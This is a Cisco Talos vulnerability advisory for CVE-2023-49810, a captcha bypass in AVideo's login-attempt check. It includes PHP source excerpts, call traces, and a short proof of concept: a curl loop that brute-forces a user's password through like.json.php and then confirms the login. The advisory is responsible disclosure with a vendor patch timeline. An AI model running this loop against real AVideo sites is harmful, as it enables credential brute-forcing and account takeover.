Talos Vulnerability Report

TALOS-2023-1898

WWBN AVideo checkLoginAttempts login attempt restriction bypass vulnerability

January 10, 2024
CVE Number

CVE-2023-49810

SUMMARY

A login attempt restriction bypass vulnerability exists in the checkLoginAttempts functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to captcha bypass, which can be abused by an attacker to brute force user credentials. An attacker can send a series of HTTP requests to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo dev master commit 15fed957fb

PRODUCT URLS

AVideo - https://github.com/WWBN/AVideo

CVSSv3 SCORE

7.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE

CWE-307 - Improper Restriction of Excessive Authentication Attempts

DETAILS

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

The file objects/login.json.php handles AVideo’s login functionality, optionally using a captcha to prevent brute force attacks.

If requestCaptchaAfterLoginsAttempts is set to any value bigger than 0 (0 is default) in the CustomUser plugin, then a captcha is, theoretically, required to login after requestCaptchaAfterLoginsAttempts attempts.
In practice, the captcha form is only shown when the login happens via the web UI (view/userLogin.php). It is possible to bypass captcha requests by simply querying any page directly. That is, a login can be performed without making requests to objects/login.json.php.

Let’s see how the login function is implemented in objects/user.php:

    public function login($noPass = false, $encodedPass = false, $ignoreEmailVerification = false)
    {
[2]     if (User::isLogged()) {
            //_error_log('User:login is already logged '.json_encode($_SESSION['user']['id']));
            return self::USER_LOGGED;
        }
        global $global, $advancedCustom, $advancedCustomUser, $config;

        if (empty($advancedCustomUser)) {
            $advancedCustomUser = AVideoPlugin::getObjectData("CustomizeUser");
        }
        if (empty($advancedCustom)) {
            $advancedCustom = AVideoPlugin::getObjectData("CustomizeAdvanced");
        }

        if (strtolower($encodedPass) === 'false') {
            $encodedPass = false;
        }
        //_error_log("user::login: noPass = $noPass, encodedPass = $encodedPass, this->user, $this->user " . getRealIpAddr());
        if ($noPass) {
            $user = $this->find($this->user, false, true);
        } else {
            $user = $this->find($this->user, $this->password, true, $encodedPass);
        }

[1]     if (!isAVideoMobileApp() && !isAVideoEncoder() && !self::checkLoginAttempts()) {
            _error_log('login Captcha error ' . $_SERVER['HTTP_USER_AGENT']);
            return self::CAPTCHA_ERROR;
        }
        ...

At [1], if checkLoginAttempts returns false, a captcha error is triggered and the login doesn’t proceed. Also note that at [2], if the current session is already logged in, login() returns early with USER_LOGGED, so no checks are performed in that case.

    public static function checkLoginAttempts()
    {
        global $advancedCustomUser, $global, $_checkLoginAttempts;
[5]     if (isset($_checkLoginAttempts)) {
[6]         return true;
        }
        $_checkLoginAttempts = 1;
        // check for multiple logins attempts to prevent hacking
        if (empty($_SESSION['loginAttempts'])) {
            _session_start();
            $_SESSION['loginAttempts'] = 0;
        }
        if (!empty($advancedCustomUser->requestCaptchaAfterLoginsAttempts)) {
            _session_start();
            $_SESSION['loginAttempts']++;
[3]        if ($_SESSION['loginAttempts'] > $advancedCustomUser->requestCaptchaAfterLoginsAttempts) {
                if (empty($_POST['captcha'])) {
                    return false;
                }
                require_once $global['systemRootPath'] . 'objects/captcha.php';
[4]             if (!Captcha::validation($_POST['captcha'])) {
                    return false;
                }
            }
        }
        return true;
    }

If requestCaptchaAfterLoginsAttempts is set to a non-zero value, checkLoginAttempts makes sure that after requestCaptchaAfterLoginsAttempts checks [3], a captcha validation is performed [4].

However, this only happens the first time this function is called in the current request [5]. If the function was already called, true is returned [6], effectively skipping the captcha checks.

Returning true is an issue because checkLoginAttempts() function is called multiple times for every request. This results in checkLoginAttempts() returning false when a wrong captcha is supplied on the first call, but it always returns true regardless of whether or not a correct captcha was provided in subsequent requests.

For example, a request with user and pass parameters set leads to calling checkLoginAttempts() via this series of calls:

videos/configuration.php(47): require_once(\'...\')
objects/include_config.php(241): AVideoPlugin::getStart()
plugin/AVideoPlugin.php(752): CustomizeUser->getStart()
plugin/CustomizeUser/CustomizeUser.php(752): useVideoHashOrLogin()
objects/functions.php(9925): User::loginFromRequest()
objects/user.php(2937): User->login()
objects/user.php(1117): AVideoPlugin::getObjectData()
plugin/AVideoPlugin.php(499): AVideoPlugin::getDataObject()
plugin/AVideoPlugin.php(531): PluginAbstract->getDataObject()
plugin/Plugin.abstract.php(202): CustomizeAdvanced->getEmptyDataObject()
plugin/CustomizeAdvanced/CustomizeAdvanced.php(292): AVideoPlugin::loadPlugin()
plugin/AVideoPlugin.php(399): require_once(\'...\')
plugin/Live/Live.php(15): User::loginFromRequestIfNotLogged()
objects/user.php(2921): User::loginFromRequest()
objects/user.php(2937): User->login()
objects/user.php(1117): AVideoPlugin::getObjectData()
plugin/AVideoPlugin.php(499): AVideoPlugin::getDataObject()
plugin/AVideoPlugin.php(531): PluginAbstract->getDataObject()
plugin/Plugin.abstract.php(202): CustomizeAdvanced->getEmptyDataObject()
plugin/CustomizeAdvanced/CustomizeAdvanced.php(292): AVideoPlugin::loadPlugin()
plugin/AVideoPlugin.php(399): require_once(\'...\')
plugin/Meet/Meet.php(12): User::loginFromRequestIfNotLogged()
objects/user.php(2921): User::loginFromRequest()
objects/user.php(2937): User->login()
objects/user.php(1130): User::checkLoginAttempts()

In the same request, it will be called again by login(), since loginFromRequest can call login() twice. Note that, from this point on, a login attempt is performed despite an incorrect required captcha:

videos/configuration.php(47): require_once(\'...\')
objects/include_config.php(241): AVideoPlugin::getStart()
plugin/AVideoPlugin.php(752): CustomizeUser->getStart()
plugin/CustomizeUser/CustomizeUser.php(752): useVideoHashOrLogin()
objects/functions.php(9925): User::loginFromRequest()
objects/user.php(2937): User->login()
objects/user.php(1117): AVideoPlugin::getObjectData()
plugin/AVideoPlugin.php(499): AVideoPlugin::getDataObject()
plugin/AVideoPlugin.php(531): PluginAbstract->getDataObject()
plugin/Plugin.abstract.php(202): CustomizeAdvanced->getEmptyDataObject()
plugin/CustomizeAdvanced/CustomizeAdvanced.php(292): AVideoPlugin::loadPlugin()
plugin/AVideoPlugin.php(399): require_once(\'...\')
plugin/Live/Live.php(15): User::loginFromRequestIfNotLogged()
objects/user.php(2921): User::loginFromRequest()
objects/user.php(2937): User->login()
objects/user.php(1117): AVideoPlugin::getObjectData()
plugin/AVideoPlugin.php(499): AVideoPlugin::getDataObject()
plugin/AVideoPlugin.php(531): PluginAbstract->getDataObject()
plugin/Plugin.abstract.php(202): CustomizeAdvanced->getEmptyDataObject()
plugin/CustomizeAdvanced/CustomizeAdvanced.php(292): AVideoPlugin::loadPlugin()
plugin/AVideoPlugin.php(399): require_once(\'...\')
plugin/Meet/Meet.php(12): User::loginFromRequestIfNotLogged()
objects/user.php(2921): User::loginFromRequest()
objects/user.php(2940): User->login()
objects/user.php(1130): User::checkLoginAttempts()

Afterwards, checkLoginAttempts() is called another 3 times. However, the second call was already enough to bypass the captcha, allowing an attacker to brute force a user/password pair even if a captcha protection is in place.

Exploit Proof of Concept

This proof-of-concept demonstrates that the captcha check can be bypassed.

First, set the requestCaptchaAfterLoginsAttempts to 3 in the CustomUser plugin.

Then, simulate a password brute force by sending 5 requests with an incorrect password, followed by a request with the correct password (in this PoC the correct password is “usrpass”). If the code wasn’t vulnerable, we wouldn’t be able to login since the 4th request would require a captcha to be sent.

$ rm -rf cookies.txt # make sure to start fresh without cookies
$ for password in 1 2 3 4 5 usrpass; do echo -n .; curl -s -b cookies.txt -c cookies.txt -k 'https://localhost/objects/like.json.php' --data-raw "user=user1&pass=${password}" > /dev/null; done; echo

Note that we’re logging in by sending a request to like.json.php. The page doesn’t really matter, as long as it includes videos/configuration.php.

Finally, verify that the login is successful by requesting the user’s playlists. If the playlist is not empty it means the user is logged in.

$ curl -s -b cookies.txt -c cookies.txt -k 'https://localhost/objects/playlists.json.php' | grep -q . && echo logged-in || echo failed

The last command should show “logged-in”, and the cookies.txt file will contain the session cookie associated with the user’s logged-in session.

TIMELINE

2023-12-14 - Vendor Disclosure
2023-12-15 - Vendor Patch Release
2024-01-10 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.